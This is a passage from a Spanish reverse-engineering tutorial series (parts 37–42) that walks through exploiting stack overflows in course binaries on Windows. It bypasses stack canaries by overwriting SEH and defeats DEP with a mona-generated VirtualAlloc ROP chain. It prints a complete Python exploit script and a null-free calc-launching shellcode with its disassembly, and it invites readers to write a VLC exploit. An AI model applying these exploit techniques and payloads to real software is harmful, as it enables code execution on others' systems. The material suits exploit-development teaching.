Mueve a EBX el valor 1 que es el dwsize así que concuerda con el modelo, sigamos son
poquitos.

Pone en EDX el valor 0x1000 como dice el modelo, sigamos.

Pone en ECX el valor 40 como dice el modelo, vamos bien, sigamos.


Luego se rompe salta a cualquier cosa y no sigue el ROP como debería ya que lo que
continúa no está, eso suele ocurrir cuando hay algún carácter invalido, que no nos dimos
cuenta, que corta la entrada de bytes veamos lo que seguiría.

Allí se cortó lo que viene es un 0x1a puede ser que no le guste, busquemos otro pop edi
que no tenga 0x1a a ver que pasa.

0x78028756 es el POP EDI que había encontrado la parte anterior usemos este.
Volvamos a tracear.

Funcionó y se ve el ROP que queda en el stack no se cortó ahora, veamos que guarda en
EDI.

Un puntero a un C3 o RET como dice el modelo, parece que era solo eso, pero ya que
estamos terminémoslo de tracear.

Vemos que luego del POP ESI, el mismo queda apuntando al JMP [EAX] como decía el
modelo.
En EAX debe quedar la entrada de la IAT de VA no la dirección.

Esa era la entrada de la IAT de VA correcta pero si seguimos dará error

Si sigo veo que el error en este caso se produce por el ADD AL, 80 que se le suma a la
dirección de la IAT de VA, así que para compensar deberemos restarle 0x80 a la dirección
de la entrada de la IAT.

Python>hex(0x7802E0B0-0x80)
0x7802e030

Ahora ya debería funcionar.

Vimos que el mona ayuda mucho, nos da casi todo bien, pero a veces hay que corregir
algo, no siempre es perfecto, igual cuando no hay mucho tiempo, se suele hacer así,
aunque no es tan divertido jeje.

Hasta la parte 38
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
38
_________________________________________________________________________

CANARY and SEH.

Ya hemos visto lo que es el CANARY un valor random que se coloca en el stack justo antes
del stored EBP y return address, para que si se sobrescribe el mismo, lo cual es necesario
para sobrescribir el return address, el programa chequea ese valor si es el mismo que tiene
guardado y si no es correcto se cierra impidiendo la ejecución de código.

Adjunto está el archivo CANARY_sin_DEP.exe, luego veremos en la siguiente parte el caso


cuando tiene DEP y hay que hacer ROP, bypaseando el CANARY.

El código es el mismo del ejemplo NO_DEP solo que en este caso se le agregó el CANARY
lo cual impedirá explotarlo pisando el RETURN ADRESS.

Vamos a tracear tirándole el mismo script que hicimos para el NO_DEP para ver porque
ahora no funciona, y luego tratar de bypasear la protección.

Le cambio el nombre del ejecutable para que cargue el CANARY_sin_DEP.exe.


Vemos que crashea, vamos a tracear a ver qué pasa, arranquemos el script y atacheemos
el IDA.

Vemos que lee el valor random _security_cookie, que está guardado en la sección data, lo
mueve a EAX y lo XOREA con EBP, lo cual lo hace más personalizado, pues será el EBP
de esta función y si además el ejecutable está randomizado, EBP tampoco será constante.

Guarda ese valor en la variable CANARY la cual si hay un overflow que trata de pisar el
return address será modificada, además nadie puede saber qué valor random habría allí,
para pisarlo con un mismo valor cambiante.

Cuando sale de la función lo volverá a levantar, xorear nuevamente con el mismo EBP para
obtener el _security_cookie original y dentro de un CALL lo comparara y si no es igual dará
un error o se cerrará según el caso.
Pongamos un BREAKPOINT allí para poder detenernos al atachear.

Como ya volvimos el gets_s el canary ya fue pisado y tiene mis 0x41414141.

CANARY= _security_cookie xor EBP

CANARY = 0x988A1605 xor 0x012FFB60


Podemos comprobar que si tiramos varias veces el programa ese valor del CANARY
cambiara, así que no se puede predecir para pisarlo con el mismo valor.

Sigamos traceando.

Levanta el 0x41414141 y lo XOREA con EBP.

Luego entra al CALL que va a chequear.


Compara contra la _security_cookie guardada y como no es igual va a failure, si fueran
iguales va al RET y continua ejecutando hasta el RETURN ADDRESS ya que no está
pisado el RETURN ADDRESS.

Obviamente seguiremos por la parte roja porque overflodeamos, sigamos traceando.

No vamos a ponernos a analizar todo esto pero si le damos RUN veremos que o bien
crashea el programa o se cierra sin continuar.
Así que la cuestión es cómo bypassear esto, lo primero que se utilizó y que con algunas
restricciones aun funciona es usar el SEH.

https://msdn.microsoft.com/es-ar/library/swezty51.aspx

Bueno el que quiere tragarse todo eso adelante el tema es que Windows guarda en el stack
una lista enlazada simple que contiene punteros a donde debe saltar el programa cuando
encuentra una excepción.

Los que tienen experiencia en programación saben que hay estructuras TRY-EXCEPT o
TRY-CATCH donde el código dentro del try es ejecutado y si se produce alguna excepción,
salta al EXCEPT.

Vemos que hay estructuras llamadas _EXCEPTION_REGISTRATION_RECORD, las cuales


tiene una estructura dentro con dos campos el NEXT que como vemos es un puntero a otro
_EXCEPTION_REGISTRATION_RECORD y un HANDLER que es del tipo PEXCEPTION
ROUTINE.

Bueno sin tanta vuelta hay en el stack varias de estas estructuras que el programa va
agregando para manejar las excepciones de partes del código y cada una tiene un NEXT
que apunta a la siguiente y un puntero a donde debe saltar si encuentra una excepción.
Allí en azul vemos la lista simplemente enlazada que se encuentra en el stack, cada NEXT
apunta a la siguiente estructura y cada una tiene un HANDLER o SEH que apunta adonde
saltara, veámoslo en el ejemplo del CANARY_sin_DEP.exe, lo atacheamos nuevamente.

Si en DEBUGGER WINDOWS -SEH LIST se pueden ver los SEH de cada estructura en el
stack, lamentablemente no muestra la dirección del stack donde se encuentra, pero bueno
se puede armar la lista enlazada fácilmente.

Veamos las referencias de la primera.


Si apreto X.

Veo la referencia del stack, si no muestra la referencia porque el stack no es sección de


código, se puede buscar con el search for inmediate value, poner a buscar en la memoria la
dirección del seh y buscar donde está en el stack.

Vemos el NEXT que apunta a la siguiente estructura en mi caso en 0x93FF7c vayamos allí.
Así toda la lista esta simplemente enlazada con cada NEXT apuntando a la estructura
siguiente.
Cuando el NEXT está a -1 es la última estructura, pero el IDA me muestra una más habrá
una antes?

Si volvemos al primero vemos que el NEXT tiene una referencia del stack.

Ahí tenemos las tres estructuras, como tengo que tratar de llenar el stack para producir una
excepción cuando no pueda seguir escribiendo porque se acabe la sección del mismo, voy
a modificar el script y lanzarlo para que rompa todo el stack.

Lo lanzamos nuevamente.
Vemos el fin del stack y está tratando de escribir, más allá del final del mismo.

Crashea aquí, ESI apunta en mi caso a 0x940000 donde ya no hay más stack.

Vemos la lista de SEH.

Vemos que pise el SEH, así que si continuo podría el programa saltar a 0x41414141
obviamente esto tiene algunas restricciones, debemos buscar un módulo donde saltar que
no tenga ASLR para que no se mueva, y además solo puede saltar a un módulo que tenga
SAFE SEH OFF que es una opción de compilación.(como en esta caso no tenemos DEP
podríamos también saltar a una zona de memoria del HEAP que tengamos llena con
nuestra data y con una dirección predecible, porque como no hay DEP podríamos ejecutar
directamente allí, pero no es el caso la data entra directo al stack y no se puede saltar de un
SEH al stack directo)

Si vemos la lista de módulos del idasploiter.

Bueno hay un módulo sin ASLR y SAFE SEH OFF es el Mypepe, así que deberemos saltar
allí.
Busquemos la posición en el stack de los SEH.

Si hago click allí y en luego CREATE FUNCTION.

Veamos si tiene referencias del stack, si no busco la dirección con el SEARCH FOR
INMEDIATE VALUE.

Si no me salen referencias lo busco por SEARCH-INMEDIATE VALUE


hay dos lugares en el stack que lo usa veamos.

Este es ya que el NEXT apunta a la estructura pisada.

Allí está ahora debemos sacar la distancia desde el inicio del buffer hasta justo antes de
este NEXT en mi caso 0x93f90f.
Veo que EDI quedó apuntando al inicio del BUFFER, así que voy allí hago ALT mas L.

Eso habilita el modo marcar si voy bajando con SHIFT bajara marcando, pero como es muy
lejos hare G y pondré la dirección final 0x93f90f, si antes de apretar el botón mantengo
apretado SHIFT queda todo marcado lo del medio.

Si voy al menú EDIT-ARRAY me dice que el largo del mismo es 844 decimal.
Bueno así que para pisar el SEH deberíamos pasar algo como

fruta =844 * “A” + NEXT+ SEH + 6000 * “B”

Vemos que así pisamos el NEXT y el SEH ya veremos con qué y luego debo seguir
enviando datos para que termine de crashear y copiar todo el stack.
Veremos si la cuenta salió bien y terminamos pisando el SEH con 0x46474849

Veo que cuando crashea porque se termina el stack ahora el SEH queda pisado con mi
valor eso quiere decir que la cuenta estuvo correcta.

Incluso si continuo veo que EIP queda apuntando a 0x46474849 como es la idea.

Ahora donde podemos saltar veamos.


En el stack por diseño queda en primer lugar un return address y luego en el segundo lugar
de esta estructura (tercero del stack) está EstablisherFrame

Bueno ese puntero, termina apuntando a la estructura que provocó la excepción,


específicamente a su inicio, y el inicio es el NEXT que controlamos nosotros.

Así que como no hay DEP si saltamos a un POP r32, POP r32, RET terminamos saltando al
NEXT nuestro, pues sacamos los dos primeros valores con POP y saltamos al tercero con
el RET.

Busquemos entre los gadgets del Mypepe un POP POP RET no importa el registro.

Allí vemos un pop pop ret, coloquémoslo en el SEH para saltar allí
Tirémoslo nuevamente.

Ahí crasheo veamos el SEH.

Vayamos allí y pongamos un BREAKPOINT.


Sigamos con f9 y aceptemos la excepción.

Paro en el breakpoint ahora si traceo con f7 debería llegar a ejecutar en el NEXT.


Ahí estamos en el NEXT no lo vemos porque se ve como código pero si lo vemos en el HEX
DUMP.

Estos son el NEXT y el SEH, lo que se hace normalmente es reemplazar el NEXT por EB
06 90 90, para que salte por encima del SEH y no crashee y luego debemos poner el
shellcode, al inicio donde están las B.
Eso debería funcionar probémoslo.

Lo que ocurre es que se generan muchísimas calculadoras, porque cada vez que crashea el
programa, vuelve a saltar al SEH para capturar la excepción y vuelve a ejecutar la
calculadora, eso se puede arreglar fácilmente modificando el shellcode para que la primera
vez que se ejecute cuando termine llame a exit() y listo se cerrará el programa.

780039AB . FF15 20E00278 CALL DWORD PTR DS:[<&KERNEL32.ExitProces>;


\ExitProcess

Allí hay un call fijo que cerrará el programa lo agrego.

Agregare
\x68\xAB\x39\x00\x78\xC3
Ahora si salió una sola calculadora, en la próxima parte veremos cómo ropear cuando
venimos de explotar un SEH.

Debemos aclarar que si tienen un módulo sin ASLR y SAFE SEH OFF e igual no salta a su
SEH al manejar la excepción, puede estar activada una protección especial llamada SEHOP
que en los Windows servers mayores a 2008 viene activada por default y también en
algunos programas como BROWSERS modernos o algún servicio.
Esta protección chequea la integridad de la cadena antes de saltar y verifica que el último
SEH sea el correcto y no esta pisado, mas siendo una dirección randomizada, es imposible
de pisar y que siga funcionando.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
39
_________________________________________________________________________

Nos queda como último caso la explotación de un stack overflow con CANARY Y DEP
pisando el SEH.

Le cambiamos el nombre al ejecutable y atacheamos el IDA a ver qué pasa.

Igual que antes crashea cuando se le acaba el stack, veamos los SEH,
Igual que antes pisa con el puntero al pop pop ret, pongamos un breakpoint ahí.

Apreto F9 y acepto la excepción.

Allí estoy como siempre el stack en su tercera posición hay un puntero al NEXT.
Si voy ejecutando con F7.

Salto al stack ese JMP es el EB 06 90 90 del NEXT, pero cuando lo quiero ejecutar.

No se puede ejecutar el stack por el DEP habrá que hacer un ROP.


El problema es que para hacer un ROP el stack se ha movido y nuestra data no está
apuntada por ESP para continuar ROPEANDO, así que en este caso en vez de un POP
POP RET necesitamos un gadget que deje el stack acomodado para que cuando ejecute el
RET de ese GADGET, tome una dirección mía del stack para poder seguir teniendo el
control y continuar ropeando.

Vimos que en mi caso antes de ejecutar el POP POP RET ESP valía 0xAFEF98

Y buscaré la dirección en el stack donde comienza mi data.

Pongo que busque el immediate value 0x41414141.


Vemos que comienza en 0xAFF5A8 podemos sacar la distancia, la data está más abajo de
ESP.

hex(0xAFF5A8 - 0xAFEF98)

Así que la distancia entre ESP y el inicio de mi data es 0x610, quiere decir que si busco un
gadget

ADD ESP, XXXX -RET

Si XXXX es mayor que 0x610 siempre que no se vaya fuera del stack, moverá ESP adonde
está mi data para continuar ropeando.

Veamos lo gadgets de Mypepe.

Veo que lo más que le suma a ESP es 0x30 no llega hasta mi fruta.

Lamentablemente no tiene o al menos yo no encontré ningún gadget, ni siquiera usando la


tool Agafi que lo adjunte, para el que lo quiere aprender a usar.
Corro el gisnap con el proceso parado después de manejar la excepción, por ejemplo en el
primer POP del POP POP RET, sin ejecutar nada.

Este gisnap hará un dumpeado del proceso, luego tengo que editar el archivo objective.txt
del agafi poniendo cual es la condición que quieres que se dé, en este caso podría ser.

esp= [esp+0x08]

Y le podes configurar que solo busque partiendo de cierto ejecutable como en este caso
Mypepe.dll.
Dejo descomentada la condición y el rango que necesito.

Después corro el agafi poniendo el nombre del dump que hice antes, que lo guardo en la
misma carpeta y el nombre de un txt de salida.

agafi.exe objective.txt dumped.dmp pepe.txt

Encontró algunos gadget raros pero el problema.

----------------------------------------
[x] Valid gadget at: 7801194e
--> matchs: esp=[esp+0x8]
--> stack used: N/A
--> preserved registers:
*** 7801194e: clc
*** 7801194f: popa
*** 78011950: jl 0x7801195a
*** 7801195a: pop ebx
*** 7801195b: leave
*** 7801195c: ret

Es que después de ejecutarlo ESP queda apuntando nuevamente justo al SEH y vuelve a
saltar al mismo gadget y se rompe en la segunda vez por un valor de EBP 0x41414141 que
pasa a ESP en el LEAVE-RET.

Bueno para poder terminarlo y demostrar cómo se hace, le agregare una instrucción ADD
ESP, XXXX -RET al Mypepe.

Usaremos ese como gadget para saltar desde el SEH.

Probemos saltar ahí cuando crashea, manejando la excepción.


Vemos que después de ejecutar el ADD ESP, 700 ya me queda para continuar allí con el
ROP y luego el shellcode.

Vemos la distancia donde debe ir el ROP aquí estoy en ESP=0xeff5c0 y veamos donde
empieza mi data.

Empieza en 0xeff4d4 puedo hacer la resta y ver la distancia.

Armo el script.

from os import *
import struct
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x7801eb94, # POP EBP # RETN [Mypepe.dll]
0x7801eb94, # skip 4 bytes [Mypepe.dll]
0x7801ee74, # POP EBX # RETN [Mypepe.dll]
0x00000001, # 0x00000001-> ebx
0x7802920e, # POP EDX # RETN [Mypepe.dll]
0x00001000, # 0x00001000-> edx
0x7800a849, # POP ECX # RETN [Mypepe.dll]
0x00000040, # 0x00000040-> ecx
0x78028756, # POP EDI # RETN [Mypepe.dll]
0x7800b281, # RETN (ROP NOP) [Mypepe.dll]
0x78001492, # POP ESI # RETN [Mypepe.dll]
0x780041ed, # JMP [EAX] [Mypepe.dll]
0x78013953, # POP EAX # RETN [Mypepe.dll]
0x7802e030, # ptr to &VirtualAlloc() [IAT Mypepe.dll]
0x78009791, # PUSHAD # ADD AL,80 # RETN [Mypepe.dll]
0x7800f7c1, # ptr to 'push esp # ret ' [Mypepe.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" +


"\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1\x68\xAB\x39\x00\x7
8\xC3"

stdin,stdout = popen4(r'CANARY_con_DEP.exe -1')


print "ATACHEA EL DEBUGGER Y APRETA ENTER\n"
raw_input()
rop= create_rop_chain()
next="\x41\x41\x41\x41"
seh=struct.pack("<L", 0x7802d415)
data=(0xec) * "A" + rop + shellcode

fruta = data + ((844-len(data)) * "A" )+ next + seh + 6000 * "A" +


"\n"

print stdin
print "Escribe: " + fruta
stdin.write(fruta)
print stdout.read(40)

Vemos que use el mismo ROP que antes y le agregue el mismo shellcode para Mypepe y
funciono.
Vemos que cuando llego al RET el ROP queda en el stack desde el inicio, para continuar
ropeando y ejecutando el shellcode.

Ahí ejecuto la calculadora.

Hasta la parte 40
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
40
_________________________________________________________________________

SHELLCODE UNIVERSAL

Existen miles de tipos de shellcodes, cada uno de acuerdo al objetivo que se tiene al hacer
el exploit.
Hay shellcodes que son para probar que se puede ejecutar código después de la
explotación, normalmente estos ejecutan una calculadora y nada más.
Obviamente hay shellcodes mucho más complejos que abren consolas remotas, tratan de
permanecer en el sistema a pesar de que el programa explotado crashee o se cierre,
inyectándose en algún otro proceso del sistema, guardándose como archivo etc.

Hay una biblioteca de shellcodes que buscando en Google podemos encontrar o podríamos
programar si necesitamos algo especifico.

Nosotros usaremos a partir de ahora un SHELLCODE UNIVERSAL que sirve para todas las
versiones de Windows y que ejecuta la calculadora, con eso demostraremos ejecución de
código.

El mismo salio de aquí.

https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-
Shellcode.html

shellcode="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x0
8\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8
b"\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x
45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\x
e9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\x
af\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\x
e2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"

Así como esta lo puedo usar en un script de Python siempre y cuando tenga lugar para
ingresarlo.

Los bytes sueltos son:

31 db 64 8b 7b 30 8b 7f 0c 8b 7f 1c 8b 47 08 8b 77 20 8b 3f 80 7e 0c
33 75 f2 89 c7 03 78 3c 8b" 57 78 01 c2 8b 7a 20 01 c7 89 dd 8b 34
af 01 c6 45 81 3e 43 72 65 61 75 f2 81 7e 08 6f 63 65 73 75 e9 8b 7a
24 01 c7 66 8b 2c 6f 8b 7a 1c 01 c7 8b 7c af fc 01 c7 89 d9 b1 ff 53
e2 fd 68 63 61 6c 63 89 e2 52 52 53 53 53 53 53 53 52 53 ff d7
MOV EDI,DWORD PTR FS:[EBX+30]
XOR EBX,EBX
MOV EDI,DWORD PTR DS:[EDI+C]
MOV EDI,DWORD PTR DS:[EDI+1C]
MOV EAX,DWORD PTR DS:[EDI+8]
MOV ESI,DWORD PTR DS:[EDI+20]
MOV EDI,DWORD PTR DS:[EDI]
CMP BYTE PTR DS:[ESI+C],33
JNZ SHORT CANARY_c.00A7138A
MOV EDI,EAX
ADD EDI,DWORD PTR DS:[EAX+3C]
MOV EDX,DWORD PTR DS:[EDI+78]
ADD EDX,EAX
MOV EDI,DWORD PTR DS:[EDX+20]
ADD EDI,EAX
MOV EBP,EBX
MOV ESI,DWORD PTR DS:[EDI+EBP*4]
ADD ESI,EAX
INC EBP
CMP DWORD PTR DS:[ESI],61657243
JNZ SHORT CANARY_c.00A713A9
CMP DWORD PTR DS:[ESI+8],7365636F
JNZ SHORT CANARY_c.00A713A9
MOV EDI,DWORD PTR DS:[EDX+24]
ADD EDI,EAX
MOV BP,WORD PTR DS:[EDI+EBP*2]
MOV EDI,DWORD PTR DS:[EDX+1C]
ADD EDI,EAX
MOV EDI,DWORD PTR DS:[EDI+EBP*4-4]
ADD EDI,EAX
MOV ECX,EBX
MOV CL,0FF
PUSH EBX
LOOPD SHORT CANARY_c.00A713D8
PUSH 636C6163
MOV EDX,ESP
PUSH EDX
PUSH EDX
PUSH EBX
PUSH EBX
PUSH EBX
PUSH EBX
PUSH EBX
PUSH EBX
PUSH EDX
PUSH EBX
CALL EDI
Eso ejecuta la calculadora en cualquier lugar que lo peguemos, tiene de bueno que no tiene
ceros, aunque puede haber programas que rechacen algún otro carácter, eso dependerá
del caso.

Ya sabemos hacer ROP y ya tenemos un shellcode universal, la idea es que practiquen con
el programa VLC que dejamos hecho el POC, me haría muy feliz que alguno me mande el
archivo completo y un tute explicando lo que hicieron, lo agregaría aquí como una parte al
primero que envíe al exploit con un tuto bien explicado.

El rop lo pueden hacer a mano o con mona no hay problema deben buscar a ver si hay dlls
sin ASLR y si hay más de una sin ASLR, el mona tiene para pasar más de una dll como
argumento, para armar el ROP combinando ambas.

En cuanto al script de Python les daré un esquema una vez que arman el ROP, abren el
archivo POC.ty+

Y buscan el 41424344 que quedaba pisando el RETURN ADDRESS.


Y ahí según el largo del ROP +SHELLCODE pongamos como ejemplo que el ROP y
SHELLCODE miden 150 bytes, reemplazo una zona un poco mayor a partir del 41424344
incluido él mismo pongamosle 160 bytes.

Voy marcando hacia abajo hasta que obtengo la zona marcada del largo que necesito.

Relleno la zona seleccionada con 90s.


Chequeo bien el largo de la zona de 90s, que sea mayor al largo de ROP más SHELLCODE
y que sea un valor conocido, lo anoto en mi caso 160.

Ahí hay un esquema del script no está probado ni nada, no funcionara, no tiene definido el
ROP ni el SHELLCODE, pueden usar el SHELLCODE UNIVERSAL que acabamos de ver si
no hay problemas con ningún carácter sino deberán buscar otro.

La idea es que el script abre el archivo con los 90, los reemplaza como una fruta del mismo
largo que contiene al inicio el ROP y el SHELLCODE y relleno, y luego lo guarda para
probarlo, si funciona será el exploit, sino habrá que tracear a ver que falla, jeje.
La verdad me pondría muy contento y vería que tanto escribir no es inútil, si alguien hace un
tute y manda el exploit funcional.

El primero que envíe lo pondré como parte del curso, si hay más de uno los subiré dentro de
la carpeta SOLUCIONES del curso que creare para esto en las webs (si es necesario jeje)

Hasta la parte 41 a ver si practican y hallan una solución.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 41
________________________________________________________________________

Seguiremos practicando y viendo ejemplos en este caso es un código que tiene formas diferentes de manejar y
ubicar strings.

Vemos que hay varias array de caracteres y luego al final imprime las direcciones de cada uno, para ver donde
se ubicó.

Aquí aun no vemos vulnerabilidades ni nada solo estamos viendo ubicaciones.

Abramos el ejecutable en el LOADER hacemos que cargue los símbolos, veremos la función main.
Ahí tenemos el main solo tiene una llamada a la función ejemplos_ubicación, nada más, activamos el
DEMANGLE NAMES –NAMES.

Ahí está, veamos que pasa dentro de la función, vemos que no tiene argumentos solo variables.

void __cdecl ejemplos_ubicacion()


Si tuviera argumentos estarían dentro del paréntesis, además mirando la representación del stack.

Si hubiera argumentos deberían estar debajo del return address r y no hay nada así que solo variables.

Allí veo el CANARY que se guarda en var_4, para comenzar a reversear.


Volvamos a la representación del stack.

Vemos que tanto mensaje_en_stack como mensaje_en_stack_sin_inicializar, son buffers en el stack, aquí uno
de 100 bytes y el otro de 23.

Allí vemos los dos casos.

1) char mensaje_en_stack[]="hola reverser en stack"; #inicializada

2) char mensaje_en_stack_sin_inicializar[100]; #no inicializada

Vemos que en el caso 2 se reserva 100 bytes porque no sabe lo que va a guardarse allí, podría ser algo que
ingrese el usuario y no sea fijo, mientras que el otro guarda el espacio para la string “hola reverser en stack”
que ya tiene un largo fijo determinado.
Mide 22 más el cero del final 23 de largo total.

Allí vemos cuando copia la string al stack e inicializa la variable.


Primero obtiene la dirección de la string con OFFSET y la mueve a ESI, luego la copiara a EDI que tiene la
dirección del buffer en el stack.

rdata
Declares an initialized data section that is readable but not writable.
Microsoft compilers use this section to place constants in it.
Vemos que en la sección rdata Visual Studio guarda al compilar, los datos constantes que no cambiaran y en
este caso la string se guarda allí y como la sección no es escribible no cambiara, para luego copiarla al stack.

El LEA mueve a EDI la dirección del buffer en el stack y copia con el reps movs la string al mismo,
inicializando la variable.

En el caso 1 la variable estaba inicializada, mientras que en el caso 2 no.

Lógicamente en el caso 2 este buffer sin inicializar esta para algo y el programa lo va a usar y llenar en algún
momento.

Lo hará ahí, parece similar al caso 1, pero ahora el programa usa una api de Windows para copiar, agarra el
OFFSET de la string de la sección rdata “hola reverser sin inicializar” y copia con strcpy.

strcpy(mensaje_en_stack_sin_inicializar, "hola reverser en stack sin


inicializar");

Obviamente el compilador en la inicialización de variables del stack como en el caso 1, no usara apis de
Windows, se arreglara con instrucciones como reps movs, mientras que en el caso 2 ya es código del
programa en sí que puede usar apis.
Se da la coincidencia que este caso 2 tiene una string ya determinada de tamaño fijo, pero podría ser una
string que ingrese el usuario que puede variar su largo, allí habrá que chequear que no desborde el buffer, con
una string más larga que el largo del mismo.

Obviamente de estas dos strings al final se obtendrá las direcciones de las mismas con LEA, y se imprimirán
dichas direcciones.

Si coloco un breakpoint allí y elijo el debugger local y arranco el programa en modo debugger.

Veo que las direcciones que imprime son del stack y puedo ir a ver las strings a dichas direcciones.
Si aprieto la A para convertir en string ascII.

Y la otra.

Así que por ahí vamos bien veamos las otras strings, paremos el debugger y volvamos al loader.
Vemos que las otras dos variables son punteros (offset) y solo ocupan 4 bytes cada una (dd).

Veamos primero el puntero mensaje_en_data.

Vemos que en este caso como dijimos la variable es un puntero y guarda la dirección que obtiene con
OFFSET en la variable del stack mensaje_en_data.

La string está ubicada en rdata y guardada allí y lo que manejamos en el stack es el puntero a la misma,
mientras que en las anteriores la string se copiaba completa al stack llenando un buffer en el mismo.

Vemos que ahora no necesita un LEA para hallar la dirección pues el valor de la variable es un puntero y es
la dirección que se mueve a EAX y se pushea para imprimir su valor, veamos si lo debuggeamos igual que
antes.
Si voy a dicha dirección de rdata estará la string.

Y en la variable del stack esta guardada dicha dirección (OFFSET)

Allí esta el OFFSET si quiero ver el valor numérico apreto D.

Si aprieto D varias veces cuando se transforma en un dword, detecta que apunta a la string y cambia al
OFFSET de la misma.
Allí vemos que poniendo el mouse vemos que dicha variable tiene guardada la dirección (OFFSET) de la
string, pues es una variable puntero que guarda direcciones.

Dejemos la variable que nos queda pendiente del stack para el final y miremos las variables globales, el que
no sabe las variables globales se ubican en el código fuente fuera de todas las funciones, generalmente arriba
de todo.

Vamos primero con la variable string que esta inicializada y es global.

Si miro el código veo que string se usa acá.

Vemos que pushea el offset de string, si vamos allí.

Vemos algo confuso estamos en la sección data la cual se utiliza para las variables globales.
Por un lado está la definición del buffer char string [18] que la saca de los símbolos, sabe que es una string de
ese largo la que ira allí en ese buffer,
Allí mismo está la string guardada “Donde se ubicara”, si apretamos D, vemos los bytes, si apretamos A
volvemos a como estaba.

Normalmente cuando hay una segunda definición es porque hay alguna referencia a alguna api, de la misma
saca que tipo de variable necesita y la coloca como definición también.

Ahí vemos que hay una referencia.

Es una argumento a printf cuyo segundo argumento es una dirección, si hacemos click derecho veremos que
es la dirección donde se encuentra la cadena que le está pasando.
Allí al hacer click derecho reemplace los offset a las strings por directamente la dirección que va a imprimir,
vemos que en ambas están en la sección data.

La única diferencia es que String2 no está inicializada por lo tanto con la A de ascII no la retorno al estado
original, porque está llena de ceros, y esta vacía, así que click derecho ARRAY servirá.

char * string2 dw 0Ah dup(0)

dup(0)

Significa que se repite el cero dw(2 bytes) por 0xa veces o sea dará 20 decimal.
Si lo cambio a bytes es más directo serán 0x14 o sea 20 bytes llenos de ceros.

Veamos las referencias donde se llena.

Volví el OFFSET que se pasa como argumento a la representación original, haciendo click derecho y
eligiendo offset * char y luego con X veo las referencias, le primera es donde se llenara el buffer.

Veo que allí se copia la string que viene de rdata “Donde se ubicara?” al buffer en data que es escribible y
puede modificarse.

Obviamente en la sección data como es una sección escribible y que puede tener buffers, puede haber
overflows también, si está mal calculado el largo de la string, pudiendo pisar variables globales que estén allá
y que afecten al programa.

Si probamos veremos al debuggear.


Las direcciones de string y string2 que corresponden a la sección data.

La que queda es ver la del heap, era un puntero en el stack que guardaba la dirección de la string que se
ubicaba en el heap.

Vemos que allí guarda el OFFSET o sea la dirección de la string “hola reverser en data”, y luego le pasa la
dirección a strlen para sacar el largo de la misma.

Al resultado le suma 1 tal cual hace el código fuente


Y ese tamaño se lo pasa como size a malloc para reservar en el heap un buffer dinámico de tamaño largo de la
string más 1.

La dirección que devuelva variara, pero será una zona reservada con permiso de lectura y escritura donde
copiara más adelante.

Allí guarda esa dirección del heap que apunta a ese buffer, en la variable puntero del stack llamada
mensaje_en_heap.
Luego copia la string apuntada por mensaje_en_data al buffer creado en el heap.

Luego le saca el largo de la string “hola reverser en “ y se la suma a la dirección de inicio del buffer en el
heap, le queda justo apuntando para reemplazar la palabra data por heap, ya que hace un memcpy de 4 bytes
pasando como source “heap” y como destination el puntero a la palabra data que está en el buffer del heap.

En el código fuente es esto

memcpy(mensaje_en_heap+strlen("hola reverser en "),"heap",4);

El destination es la dirección mensaje en heap + el largo de la string “hola reverser en “ eso quedara
apuntando a la palabra data la que pisara con 4 bytes siendo el source “heap”.

Veamos si es cierto debuggeando.


Allí saco el largo de la string “hola reverser en data “ y es 15 con el cero final.

Allí le suma 1 y se lo paso a malloc para reservar 0x16 bytes.

Allí está el inicio del buffer en el heap en mi caso será 0x67d4f0.


Como el heap está en modo debug al arrancar desde un debugger se ve bien claro los 0x16 que son 22 decimal
si desde el inicio los convertimos en dwords.

Como esta en modo debug (sino esto no funcionara) y aun no se escribió nada vemos BAAD FOOD jeje mala
comida.

Son cinco DWORDS o sea 20 bytes de largo el buffer más los dos bytes finales 0xFEEE, le pedí 0x16 y me
22 decimal jeje.
Ya veremos más del heap por ahora ese es el buffer lleno de mala comida (BAAD FOOD) para darle de
comer jeje.

Luego guarda la dirección en la variable puntero del stack.

Luego en ese strcpy copiara la string hola reverser en data en mi baad food jeje.

Si lo paso con f8.

Veo en el buffer del heap los bytes copiados con la A los convierto en string ascII.

Allí va a sacar el largo de “hola reverser en “


Da 11, luego se lo suma a la dirección de inicio del buffer en el heap.

Si descompongo la string original en bytes

Luego aprieto A allí.


Veo que va a escribir 4 bytes va a machacar la palabra “data” con “heap”.
Así que puedo descomponer la palabra heap y armar la string completa.

Bueno ya está armada la string en el heap, solo queda imprimir la dirección.


Bueno esto es todo por ahora traten de practicar y ver bien las strings y manejarlas con comodidad para
acostumbrarse de a poco.

Hasta la parte 42.


Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
42
_________________________________________________________________________

Había dos ejercicios pendientes de la parte 41 para que practiquen, lamentablemente nadie
me envió una solución, lo cual es algo que a uno le deja pensando si lo que hace vale la
pena, al menos alguna pregunta, algún feedback no hubo nada.

Esto hace replantear las cosas y preguntarme si vale la pena llegar tan lejos como pensaba
con este curso, ya veremos qué decisión tomamos ante la falta de feedback, por ahora
solucionaremos el ejercicio 41.

